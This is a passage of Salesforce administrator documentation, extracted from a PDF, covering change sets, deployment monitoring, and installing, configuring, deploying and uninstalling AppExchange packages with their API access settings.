An outbound change set is a change you want to send from the organization you are logged into to another organization. To view outbound change sets, click Your Name > Setup > Deploy > Outbound Change Sets. To create a new change set, click New. To view the details of an existing change set, click its name.

Cloning an Outbound Change Set


You can create a copy of an existing change set by cloning it. 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of the change set you want to clone.

2032

Deploy

Selecting Components for an Outbound Change Set

3. Click Clone.

See Also:
Outbound Change Sets Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Selecting Components for an Outbound Change Set


To select the components in an outbound change set: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Deploy > Outbound Change Sets. In the Change Sets list, click the name of a change set, or create a new one. Click Add to add components. Choose the type of component and the components you want to add, and then click Add to Change Set. Click Add Profiles to add profile settings to the change set. Optionally, click View/Add Dependencies to add dependent components. Note: Dependent components rely on the existence of other components. Unless you are certain that the dependent components exist in every organization this change set will be deployed to, it's a good idea to add dependent components to the change set.

See Also:
Outbound Change Sets Cloning an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Uploading an Outbound Change Set


Once you've assembled the components in a change set, you can upload it to another organization. Note that once you upload a change set, you can't edit it or recall it. 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of a change set.

2033

Deploy

Uploading Change Sets During Server Upgrades

3. Select the organization you want to send the change set to. 4. Click Upload. Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.

See Also:
Outbound Change Sets Uploading Change Sets During Server Upgrades Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Uploading Change Sets During Server Upgrades


During server upgrades, production and sandbox environments may not be running the same version of the platform. Some components may have new functionality or other changes that will not allow you to deploy that type of component until the production organization is running the same version as sandbox. If you upload a change set that has components that can't be deployed, the system detects which components can't be deployed, and gives you the option of uploading the remaining components. For example, Apex classes are automatically upgraded whenever a new version of the platform is released. If you create a change set in a sandbox during the sandbox preview and then upload that change set to a production organization, the system won't allow you to upload Apex classes. Likewise, other types of components that have changes that are incompatible between versions will be removed from the change set. However, components that remained unchanged between versions can be migrated freely.

Viewing and Adding Dependent Components to a Change Set


A dependency is a relationship where one or more components must exist for another component to exist. It's a good idea to add dependent components to a change set, unless you are sure that the dependent components exist in every organization where this change set will be deployed. To add dependent components to an outbound change set: 1. 2. 3. 4. Click Your Name > Setup > Deploy > Outbound Change Sets. In the Change Sets list, click the name of a change set. Click View/Add Dependencies. On the Component Dependencies page, select the dependent components you wish to deploy and click Add to Change Set.

2034

Deploy

Viewing the Source of a Metadata Component

Caution: If your change set contains more than 2500 dependencies you will only be able to see the first 2500 in the view dependencies page.

See Also:
Outbound Change Sets Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Viewing the Source of a Metadata Component


Before you upload or deploy a change set, you can view the source of each metadata component in the change set. This allows you to verify that you are uploading or deploying the correct changes. If the metadata component in the change set is a profile or permission set, then the XML source displayed depends on the contents of the change set. For example, profiles only contain field-level security for fields included in the custom object that are part of the change set. Note: Like profiles, permission sets contain permissions for only the custom components included in a change set. Unlike profiles, however, permission sets can also contain standard object permissions, standard field permissions, and user permissions (such as API Enabled). For information about the fields, attributes, and settings of the available metadata types, see the Metadata API Developers Guide Note: You can't view the source of a Static Resource, Document, or Folder.

Outbound Change Set Validation Errors


If you receive an error about cross-version validation, then the organization used to create the outbound change set is running on a different platform version than the organization receiving the change set. This error typically occurs during upgrades,

2035

Deploy

Deleting an Outbound Change Set

because organizations may be upgraded at different times. If you receive this error, you can only deploy those components that are compatible between versions.

See Also:
Outbound Change Sets Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Deleting an Outbound Change Set Change Sets Overview

Deleting an Outbound Change Set


To delete an outbound change set: 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of the change set you want to delete. 3. Click Delete.

See Also:
Outbound Change Sets Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Change Sets Overview

Inbound Change Sets


User Permissions Needed To deploy inbound change sets: Deploy Change Sets

Watch a Demo (2:30 minutes)

2036

Deploy

Viewing Inbound Change Sets

An inbound change set is a change set that has been sent from another organization to the organization you are logged into. A change sent must be deployed for the changes to take effect. You can deploy the contents of an inbound change set as a whole, but not on a component-by-component basis.

See Also:
Viewing Inbound Change Sets Viewing Change Set Details Deploying a Change Set Change Sets Overview

Viewing Inbound Change Sets


The Inbound Change Sets page lists change sets awaiting deployment, as well as the history of deployed change sets. To view inbound change sets, click Your Name > Setup > Deploy > Inbound Change Sets. Note: Inbound change sets are permanently deleted six months after the change set is uploaded.

See Also:
Inbound Change Sets Viewing Change Set Details Validating a Change Set Deploying a Change Set Change Sets Overview

Viewing Change Set Details


The Change Sets detail page lists information about a particular change set. 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. Click the name of a change set.

See Also:
Inbound Change Sets Viewing Inbound Change Sets Deploying a Change Set Change Sets Overview

Validating a Change Set

2037

Deploy

Validating a Change Set

You can validate a change set without deploying changes. Validating a change set allows you to view the success or failure messages you would receive with an actual deploy. 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. Click the name of a change set. 3. Click Validate. Note: You can't make any changes to your organization while a test deployment is in progress.

4. After the validation completes, click View Results.

Deploying a Change Set


To deploy a change set: 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. In the Change Sets Awaiting Deployment list, click the name of the change set you want to deploy. 3. Click Deploy. A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set cannot be rolled back. Note: The Force.com platform requires at least 75% of your code to be covered by unit tests before you can deploy it to a production organization. Ideally, you should strive for 100% coverage. The code coverage restriction is not enforced for sandbox or Developer Edition organizations.

See Also:
Inbound Change Sets Viewing Inbound Change Sets Viewing Change Set Details Change Sets Overview

Change Sets Implementation Tips


Authorization required to upload changes Before you can deploy a change set from one organization to another, an administrator in the target organization must authorize uploads across the deployment connection between the two organizations. Deployment Connections list displays all connections The Deployment Connections list is automatically populated with your production organization and all sandboxes. It is possible to deploy between any of these organizations, but no other organizations.

2038

Deploy

Change Sets Best Practices

Change set connections unavailable during maintenance Authorizing deployment connections and uploading pages require information from the production organization, and are unavailable when production is undergoing maintenance. During this time you can construct outbound change sets but not upload them. Sandboxes must be available If an organization has no sandboxes provisioned, the user may see an Insufficient Privileges error on the Deployment Connections page. Deployment is a one-way transaction A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set cannot be rolled back. User fields are not preserved Changes deployed in a change set or through the Metadata API, do not preserve user fields, such as the value of Workflow Email Notifications Recipients, or a Dashboard Running User. These fields are either removed or replaced with the deploying user, depending on the context.

See Also:
Change Sets Best Practices Change Sets Overview

Change Sets Best Practices


Deploy all dependent components Make sure each outbound change set contains all interdependent components that don't exist in the target organization. If you try to deploy a component that refers to another component missing from the target organization and from the change set, the deployment fails. Change sets give you fine-grained control over what you deploy. For example, you can migrate custom fields individually. To deploy a custom object and all of its fields, you must add the custom object and every field to the change set; adding just the custom object to the change set won't cause deployment to fail, but results in an empty custom object. Add permissions and access settings to outbound change sets Adding profiles or permission sets to outbound change sets allows administrators to migrate permissions for users so they can access the new functionality. Profiles contain access settings for more components than permission sets, including page layouts, record types, and tab settings. However, permission sets contain access to standard object permissions, standard field permissions, and user permissions (such as API Enabled). Clone a change set to add dependent components to an uploaded change set After you upload a change set, you can't change its contents. If you need to add dependent components to a change set you already uploaded, clone the change set, add the dependent components, and then upload it again. Plan deployments around maintenance schedule Plan your deployment activities around the maintenance schedule for both your production and sandbox organizations. Some features require information from your production organization when accessed from a sandbox.

2039

Deploy

Monitoring Metadata Deployments

Validate change sets before deployment You can perform a test deployment of an inbound change set to view the success or failure messages that would occur with an actual deployment. This is a good idea if you are planning a deployment on a schedule (for example during low-use hours) and want to determine if the deployment will succeed ahead of time. However, you don't need to perform a test deployment every time you deploy, as this process takes time to complete. To test deploy an inbound change set, click its name and then click Validate. View component details You can view the XML representation of a component before you upload an outbound change set or deploy an inbound change set. Change sets limited to 2500 components and 400 MB Change sets are limited to 2500 components and a total file size of 400 MB. If your change set exceeds either of these limits, you can create separate change sets for email templates, dashboards, and reports. These components are often the most numerous and have fewer dependencies. Deleting and renaming components You can't use change sets to delete or rename components. To delete components, use the Web interface on the target organization. To rename a component, first delete the component on the target organization and then upload the new component in a change set.

See Also:
Change Sets Implementation Tips Change Sets Overview

Monitoring Metadata Deployments


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view metadata deployments: Modify All Data

You can use the Metadata API to deploy XML file representations of components into an organization. A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the MyCustomObject__c component is an instance of a custom object. The easiest way to access the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the Metadata API. The deploy call in the Metadata API is asynchronous and may take a while to complete. The Force.com IDE and Force.com Migration Tool use the deploy call to move XML file representations of components into an organization. To track the status of deployments that are in progress or completed in the last 24 hours for these tools or other clients that are deploying metadata, click Your Name > Setup > Deploy > Monitor Deployments.

2040

Deploy

Monitoring Metadata Deployments

The Deployments In Progress list contains the following columns: Column


Created By Start Time Validate Only

Description The name of the user performing the deployment. The date and time when the deployment started. Indicates whether this deployment is being used to check the validity of the deployed files without making any changes in the organization. A validate-only deployment does not deploy any components or change the organization in any way. The following values are possible: QueuedThe deployment has not started. It is waiting in a queue. In ProgressThe deployment has started, but has not completed yet. Processing Type: typeThe deployment has started, and is processing a metadata type, where type is a metadata type, such as CustomObject. Processing nameThe deployment has started, and is processing a component, where name is a component name, such as MyCustomObject__c. Running Test ApexClass.testNameAn Apex test class is running, where ApexClass is the Apex class name and testName is the name of the test. The progress of the deployment. For example, 10 / 15 (3 errors) indicates that ten components have been processed successfully out of a total of 15. There were errors for three other components processed so far. The progress of the Apex tests that have been run. For example, 13 / 20 (2 errors) indicates that 13 tests have been run successfully out of a total of 20. There were errors for two other tests that have run so far. The value for the total number of tests is not accurate until the test phase of the deployment has started.

Status

Components

Tests

The Completed Deployments Last 24 Hours list contains the following columns. Completed deployments are removed from the list 24 hours after completion. Column
Created By Start Time End Time Validate Only

Description The name of the user who performed the deployment. The date and time when the deployment started. The date and time when the deployment completed. Indicates whether this deployment is being used to check the validity of the deployed files without making any changes in the organization. A validate-only deployment does not deploy any components or change the organization in any way. The following values are possible: CompletedThe deployment completed successfully. Completed with ErrorsThe deployment completed, but some components failed to deploy or some tests failed. This status cannot happen in a production organization as any errors cause the deployment to be rolled back. FailedThe deployment had some errors and no changes were made to the organization.

Status

2041

Installed Packages

Installed Packages

Column
Components

Description The number of components, including those with errors, that were processed in the deployment. For example, 10 (1 error) indicates that ten components were processed and there was an error for one component. The number of Apex tests, including those with errors, that were run. For example, 13 (2 errors) indicates that 13 tests were run and there were errors for two tests.

Tests

See Also:
Metadata API Developer's Guide

INSTALLED PACKAGES
Installed Packages
You can install packages into your Salesforce organization, and then configure, deploy, and manage them by clicking Your Name > Setup > Installed Packages.

Installing a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install packages: Download AppExchange Packages

If you received an installation link, click the link and skip to this step on page 2043. Otherwise follow this procedure from the beginning. Note: Only one person in your organization can install or upload a package at a time.

1. 2. 3. 4.

Click Your Name > Setup > Installed Packages. Click Visit AppExchange. Browse the AppExchange site to find the application you want to install. Click Get It Now from the application information page.

2042

Installed Packages

Installed Packages

Note: If the listing does not have a Get It Now option, contact the publisher for more information.

5. Enter your username and password, read the user terms, select the checkbox, and click Continue. Note: If you are installing into a sandbox, replace the www.salesforce.com portion of the installation link with test.salesforce.com. Note that this package is removed from your sandbox organization whenever you create a new sandbox copy. 6. If the package is password protected, enter the password you received from the publisher. 7. Review the package items and click Continue. Note: Some package items, such as validation rules, record types, or custom settings may not display in the Package Item list but are included in the package and installed with the other items. If there are no items in the Package Items list, the package may contain only minor changes not recorded. 8. Review the remote access applications that are listed to ensure they are acceptable, and click Next to continue or Cancel to cancel package installation. Note: Every remote access application represents a trusted application that is granted access to a user's Salesforce data after the user and the application have been verified. 9. If the installing package contains a remote site setting, you need to approve access to websites outside of Salesforce. The dialog box lists all the websites that the package communicates with. It is highly recommended that a website uses SSL (secure sockets layer) when transmitting data. After making sure that the websites are safe, check Yes, grant access to these third-party websites and click Continue, or click Cancel to cancel installing the package. Caution: By installing remote site settings, you are allowing the package to transmit data to and from a third party website outside the Salesforce service. Contact the publisher before using the package to understand what data is transmitted and how it's used. If you have an internal security contact, ask them to review the application and understand its impact before use. 10. Review the API access that package components have been granted to ensure they are acceptable. For more information, see About API and Dynamic Apex Access in Packages on page 2049. 11. When installing unmanaged packages, you can select Resolve Naming Conflicts Automatically. When this is selected, Salesforce changes the name of the component in the package being installed. 12. In Enterprise, Unlimited, and Developer Editions, choose a security option, and click Next: Grant access to admins only Specifies the following settings on the installing administrators profile and any profile with the "Customize Application" permission: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator

2043

Installed Packages

Installed Packages

Record Type settingsDetermined by the package creator

After installation, if you have Enterprise, Unlimited, or Developer Edition, you can set the appropriate user and object permissions on custom profiles as needed. Grant access to all users Specifies the following settings on all internal custom profiles: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator Record Type settingsDetermined by the package creator Note: The Customer Portal User, Customer Portal Manager, High Volume Customer Portal User, Authenticated Website User, Partner User, and standard profiles receive no access.

Select security settings Allows you to choose the usage access for all existing custom profiles in your organization. You can set each profile to have full access or no access for the new package and all its components. Note: Depending on the type of install, you might not see this step. For example, in Group and Professional Editions, or if the package does not contain a custom object, Salesforce skips this step and the next, giving all users full access. Permission sets aren't included in the security options. If your package includes permission sets, assign them after installation.

13. In Enterprise, Unlimited, and Developer Editions, if you chose Select security settings, select the level of access to give users in each profile and click Next. Standard options are: Full AccessSpecifies the following settings for each profile: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator Record Type settingsDetermined by the package creator

No AccessSpecifies the same settings as Full Access, except all object permissions are disabled.

2044

Installed Packages

Installed Packages

You might see other options if the publisher has included settings for custom profiles. You can incorporate the settings of the publishers custom profiles into your profiles without affecting your existing settings. Choose the name of the profile settings in the drop-down list next to the profile you want them applied to. The current settings in that profile remain intact. Alternatively, click Set All next to an access level to give this setting to all user profiles. 14. Click Install. If your installation fails, see Why did my install or upgrade fail? on page 3173. Note: During installation, Salesforce checks and verifies any dependencies. An installers organization must meet all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example, the installer's organization must have divisions enabled to install a package that references divisions. Note: When you install a component that contains an Apex script, all unit tests for your organization are run, including the unit tests contained in the new package. If a unit test relies on a component that is initially installed as inactive, such as a workflow rule, this unit test may fail. You can select to install regardless of unit test failures. 15. Click OK. If the package has custom objects or workflow rules, click Deploy and confirm, when prompted, to change the status of any custom objects in the package to Deployed, and activate any workflow rules. For upgrades, this includes any new custom objects and workflow rules in the package, or existing custom objects or workflow rules in the package that were not previously deployed. 16. Configure components in the package. 17. If the package includes permission sets, assign the included permission sets to your users who need them. In managed packages, you can't make changes to permission sets that are included in the package, but subsequent upgrades happen automatically. If you clone a permission set that comes with a managed package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it. 18. If you are reinstalling a package and want to re-import the package data using the export file you received after uninstalling, see Importing Package Data on page 2057. 19. If you installed a managed package, click Manage Licenses, to assign licenses to users.

See Also:
Uninstalling a Package Managing Package Installations Managing Licenses for Installed Packages Upgrading Packages Configuring Installed Packages Deploying Installed Packages About API and Dynamic Apex Access in Packages Apex Class Security Overview Installation Guide: Installing Apps from Force.com AppExchange

Configuring Installed Packages

2045

Installed Packages

Installed Packages

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install packages: To configure installed packages: Download AppExchange Packages Customize Application

Before deploying the package to your users, make any necessary changes for your implementation. Depending on the contents of the package, you might need to customize the following items: Configure Option The publisher might have included a link to an external website with information about configuration. If so, AppExchange Downloads page displays a Configure option next to the package when you click Your Name > Setup > Installed Packages. Click Configure to view the publisher's suggested configurations. Custom Fields and Custom Links Add any necessary custom fields or links to the new custom objects. Custom Object All custom objects in your package are installed in the subscriber's organization as inactive, regardless of their status in the developer's organization. When you deploy a package, Salesforce activates all of the included custom objects. You can also deploy custom objects individually by setting their Deployment Status to In Development. Enable tracking on objects that aren't in this package, but that have fields that are tracked in Chatter. For example, if you want to track a custom field on Account, you must make sure the Account standard object is enabled for tracking. Custom Report Types All custom reports are installed in the subscriber's organization as inactive, regardless of their status in the developer's organization. When you deploy a package, Salesforce activates all of the included custom reports. You can install custom reports individually by setting their Deployment Status to In Development. If the Report Type Name of a custom report type matches one used within your organization, Salesforce recommends that you change the Report Type Name after you install the package to avoid any confusion between the two report types. Dashboard Running User The Running User for any dashboards are set to the user installing the package. If necessary, edit the properties of the dashboard and change the Running User to a user that has the security settings you want applied to the dashboard. Folders When apps contain documents, email templates, reports, or dashboards, Salesforce creates new folders in the installers organization using the publishers folder names. Make sure these folder names are unique in your organization. These new folders are visible to all users. Configure folder settings before you deploy if you want them to have limited visibility.

2046

Installed Packages

Installed Packages

Home Page Layouts Custom home page layouts included in the package are not assigned to any users. To make them available to your users, assign them to the appropriate profiles. List Views List views included in apps are visible to all users. Change the visibility of these list views if necessary. Page Layouts All users are assigned the default page layout for any custom objects included in the package. Administrators of Enterprise, Unlimited, and Developer Edition organizations can configure the page layout as necessary for the appropriate users. If a custom object in the package includes any relationships to standard objects, add them as related lists on the appropriate page layouts. If the package includes any custom links, add them to the appropriate page layouts. If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Remove these fields from any page layouts. Permission Sets Assign permission sets included in a package to the users who need access to the package. You can't edit permission sets that are included in a managed package. If you clone a permission set that comes with the package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it. Translation Workbench Translated values for installed package components are also installed for any language that the developer has included. Any package components the developer has customized within setup, such as a custom field or record type, display in the installers setup pages in the developers language (the language used when defining these components). Users in the installers organization automatically see translated values if their personal language is included in the package. Additionally, installers can activate additional languages as long as the Translation Workbench is enabled. Workflow Alerts If the recipient of a workflow alert is a user, Salesforce replaces that user with the user installing the package. Change the recipients of any installed workflow alerts as necessary. Workflow Field Updates If a field update is designed to change a record owner field to a specific user, Salesforce replaces that user with the user installing the package. Change the field value of any installed field updates as necessary. Workflow Outbound Messages Salesforce replaces the user in the User to send as field of an outbound message with the user installing the package. Change this value as necessary after installation. Workflow Rules All workflow rules in the package are installed in the subscriber's organization as inactive regardless of their status in the developer's organization. When you deploy a package, Salesforce activates all included workflow rules. You can deploy (activate) workflow rules individually with Activates. Workflow rules are installed without any time-based triggers that the developer might have created. Set up time-based triggers as necessary.

2047

Installed Packages

Installed Packages

Workflow Tasks Salesforce replaces the user in the Assigned To field with the user installing the package. Change this value as necessary after installation. Make any more customizations that are necessary for your implementation. Note: Anything you add to a custom app after installation will be removed with the custom app if you ever uninstall it. All custom objects or tabs in the app are hidden from your users and workflow rules are inactive until you deploy them. For instructions on deploying a package installed from AppExchange, see Deploying Installed Packages on page 2048.

See Also:
Installing a Package Deploying Installed Packages About API and Dynamic Apex Access in Packages

Deploying Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To deploy apps: Customize Application

After installing a package from Force.com AppExchange, components that are stored in folders, like reports or dashboards, are instantly available to users because of their folder settings. However, some components, such as custom objects, are hidden and inactive. They must be activated using the package deploy process, or they can be deployed individually. The following components are available by default based on the developer's setting: Apex triggers Email templates Folders Note: Folders shared with specific users or groups are installed with this option selected; however, no users or groups are selected in the subscriber's organization. Letterheads Record types Validation rules

The following components are not available by default, and must be activated using the package deploy process, or they can be deployed (activated) individually:

2048

Installed Packages

Installed Packages

Custom objects Custom report types Workflow rules

After you make the necessary customizations for your organization, deploy installed custom objects and report types, and activate workflow rules. For tips on making customizations to installed package and components before deploying, see Configuring Installed Packages on page 2045. Deployed packages are available to users in your organization with the appropriate permissions and page layout settings. If you have the Customize Application permission, you can deploy all the components in an installed package: 1. 2. 3. 4. Click Your Name > Setup > View Installed Packages. Select the package you want to deploy. Click Deploy. Click Deploy again to confirm or Cancel to return to the package detail.

See Also:
Installing a Package Configuring Installed Packages About API and Dynamic Apex Access in Packages

About API and Dynamic Apex Access in Packages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Package components have access via dynamic Apex and the API to standard and custom objects in the organization where they are installed. Developers of Force.com AppExchange packages that are intended for external customers (also called third-party developers or partners) may wish to restrict this access. Restricting access makes packages safer for administrators to install. Also, administrators who install such packages may wish to restrict this access after installation, even if the package developers have not, for improved security.
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With this setting: The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other packages that this package depends on. The installer of a package can accept or reject package access privileges when installing the package to his or her organization. After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable access on additional objects such as custom objects created in the installers organization or objects installed by unrelated packages.

There are two possible options for the API Access setting:

2049

Installed Packages

Installed Packages

The default Unrestricted, which gives the package components the same API access to standard objects as the user who is logged in when the component sends a request to the API. Apex runs in system mode. Unrestricted access gives Apex read access to all standard and custom objects. Restricted, which allows the administrator to select which standard objects the components in the package can access. Further, the components in restricted packages can only access custom objects in the current package if the user has the object permissions that provide access to them.

Considerations for API and Dynamic Apex Access in Packages By default, dynamic Apex can only access the components with which the code is packaged. To provide access to standard objects not included in the package, the developer must set the API Access. 1. 2. 3. 4. 5. Go to Your Name > Setup > Create > Packages. Select the package that contains a dynamic Apex that needs access to standard objects in the installing organization. In the Package Detail related list, click Enable Restrictions or Restricted, whichever is available. Set the access level (Read, Create, Edit, Delete) for the standard objects that the dynamic Apex can access. Click Save.

Choosing Restricted for the API Access setting in a package affects the following: API access in a package overrides the following user permissions: Author Apex Customize Application Edit HTML Templates Edit Read Only Fields Manage Billing Manage Call Centers Manage Categories Manage Custom Report Types Manage Dashboards Manage Letterheads Manage Package Licenses Manage Public Documents Manage Public List Views Manage Public Reports Manage Public Templates Manage Users Transfer Record Use Team Reassignment Wizards View Setup and Configuration Weekly Export Data

If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has Restricted access. For more information about executeanonymous and accessing Web services with Apex, see the Force.com Apex Code Developer's Guide.

The following considerations also apply to API access in packages: Workflow rules and Apex triggers fire regardless of API access in a package.

2050

Installed Packages

Uninstalling a Package

If a component is in more than one package in an organization, API access is unrestricted for that component in all packages in the organization regardless of the access setting. If Salesforce introduces a new standard object after you select restricted access for a package, access to the new standard object is not granted by default. You must modify the restricted access setting to include the new standard object. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade. S-controls are served by Salesforce and rendered inline in Salesforce. Because of this tight integration, there are several means by which an s-control in an installed package could escalate its privileges to the users full privileges. In order to protect the security of organizations that install packages, s-controls have the following limitations: For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access. For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in an s-control before relying on access restriction for s-control security. If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access.

See Also:
Installing a Package Configuring Installed Packages Deploying Installed Packages

Uninstalling a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: Download AppExchange Packages

You can remove any installed package, including all of its components and all data in the package. Additionally, any custom fields, links, or anything else you added to the custom app after installation are also removed. To remove a package: 1. 2. 3. 4. Click Your Name > Setup > Installed Packages. Click Uninstall next to the package that you want to remove. Select Yes, I want to uninstall... and click Uninstall. After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to

2051

Installed Packages

Uninstalling a Package

the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes. Tip: If you reinstall the package later and want to reimport the package data, see Importing Package Data on page 2057.

Notes on Uninstalling Packages


If you are uninstalling a package that includes a custom object, all components on that custom object are also deleted. This includes custom fields, validation rules, s-controls, custom buttons and links, as well as workflow rules and approval processes. You cannot uninstall a package whenever any component in the package is referenced by a component that will not get included in the uninstall. For example: When an installed package includes any component on a standard object that another component references, Salesforce prevents you from uninstalling the package. This means that you can install a package that includes a custom user field and build a workflow rule that gets triggered when the value of that field is a specific value. Uninstalling the package would prevent your workflow from working. When you have installed two unrelated packages that each include a custom object and one custom object component references a component in the other, Salesforce prevents you from uninstalling the package. This means that you can install an expense report app that includes a custom user field and create a validation rule on another installed custom object that references that custom user field. However, uninstalling the expense report app prevents the validation rule from working. When an installed folder contains components you added after installation, Salesforce prevents you from uninstalling the package. When an installed letterhead is used for an email template you added after installation, Salesforce prevents you from uninstalling the package. Uninstall export files contain custom app data for your package, excluding some components, such as documents and formula field values.

See Also:
Installing a Package Managing Package Installations Managing Licenses for Installed Packages Upgrading Packages Importing Package Data Installation Guide: Installing Apps from the AppExchange

Managing Package Installations

2052

Installed Packages

Managing Package Installations

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: To assign licenses for a managed package: To download or delete the export file for an uninstalled package: Download AppExchange Packages Manage Package Licenses Download AppExchange Packages

View a list of the packages you installed from AppExchange and data export files from uninstalled packages by clicking Your Name > Setup > Installed Packages. These packages can be either managed or unmanaged. Note: Salesforce only lists license information for managed packages. For unmanaged packages, the license-related fields, such as Allowed Licenses, Used Licenses, and Expiration Date, will display the value N/A. Using this list, you can: Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package on page 2051. Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed packages. For more information, see Managing Licenses for Installed Packages on page 2058. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. Click Configure if the publisher has included a link to an external website with information about configuring the package. Click the package name to view details about this package. View the publisher of the package. View the status of the licenses for this package. Available values include: Trial Active Suspended Expired Free

This field is only displayed if the package is managed and licensed. Track the number of licenses available (Allowed Licenses) and the number of licenses that are assigned to users (Used Licenses). View the date your licenses for this package are scheduled to expire. View the date your licenses were installed. Note: If you have not installed a licensed managed package, the Publisher, Status, Allowed Licenses, Used Licenses, and Expiration Date fields do not appear.

2053

Installed Packages

Managing Package Installations

After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes. Using this list, you can: Click Download to open or store the export file. Click Del to delete the export file.

See Also:
Installing a Package Uninstalling a Package Managing Licenses for Installed Packages Upgrading Packages Displaying Installed Package Details Importing Package Data

Displaying Installed Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: To manage user licenses for an AppExchange package: Download AppExchange Packages Manage Package Licenses

The package detail page displays essential details about the package you installed from AppExchange. To access the package detail page, click Your Name > Setup > Installed Packages, then click the name of the package you want to view. From this page, you can: Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package on page 2051. If you have the Customize Application permission, click Deploy to roll out the package to your users. This option is not available if you previously deployed this package. For information on deploying packages, see Deploying Installed Packages on page 2048. Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed packages. See Managing Licenses for Installed Packages on page 2058. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions.

2054

Installed Packages

Managing Package Installations

